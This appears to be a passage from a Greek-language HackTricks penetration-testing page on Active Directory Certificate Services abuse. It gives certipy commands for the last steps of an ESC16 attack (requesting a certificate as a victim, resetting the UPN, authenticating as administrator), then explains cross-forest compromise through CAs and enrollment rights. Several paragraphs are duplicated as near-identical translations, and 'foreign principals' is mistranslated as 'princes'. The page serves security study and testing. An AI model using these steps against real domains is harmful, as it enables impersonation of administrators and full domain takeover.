**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "θύμα" από _οποιοδήποτε κατάλληλο πρότυπο πιστοποίησης πελάτη_ (π.χ., "Χρήστης") στην CA που είναι ευάλωτη σε ESC16.** Επειδή η CA είναι ευάλωτη σε ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις συγκεκριμένες ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ρυθμίστε τη μεταβλητή περιβάλλοντος cache διαπιστευτηρίων Kerberos (εντολή shell):
```bash
export KRB5CCNAME=victim.ccache
```
Στη συνέχεια, ζητήστε το πιστοποιητικό:
```bash
certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
```
**Βήμα 5: Επαναφέρετε το UPN του λογαριασμού "θύματος".**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
```
**Βήμα 6: Αυθεντικοποιηθείτε ως ο διαχειριστής στόχος.**
```bash
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## Συμβιβασμός Δασών με Πιστοποιητικά Εξηγούμενα σε Παθητική Φωνή
### Σπάσιμο Δεσμών Δασών από Συμβιβασμένες CA
Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το δάσος πόρων **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο δάσος πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, πόρων και λογαριασμών, θα μπορούσαν να **κατασκευαστούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους.
Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το resource forest **δημοσιεύεται στα account forests** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το resource forest **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε account forest**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο resource forest πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, το resource και το account forest, θα μπορούσαν να **κατασκευαστούν από αυτούς**, σπάζοντας έτσι το ασφαλές όριο του δάσους.
### Δικαιώματα Εγγραφής που Χορηγούνται σε Ξένους Πρίγκιπες
Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CAs που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν στους **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο διακριτικό του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής στους Authenticated Users**, ένα πρότυπο θα μπορούσε δυνητικά να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν σε **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο token του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής σε Authenticated Users**, ένα πρότυπο θα μπορούσε ενδεχομένως να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον δικαιώματα σε ένα ξένο domain.
Και τα δύο σενάρια οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον προνόμια σε ένα ξένο domain.
{{#include ../../../banners/hacktricks-training.md}}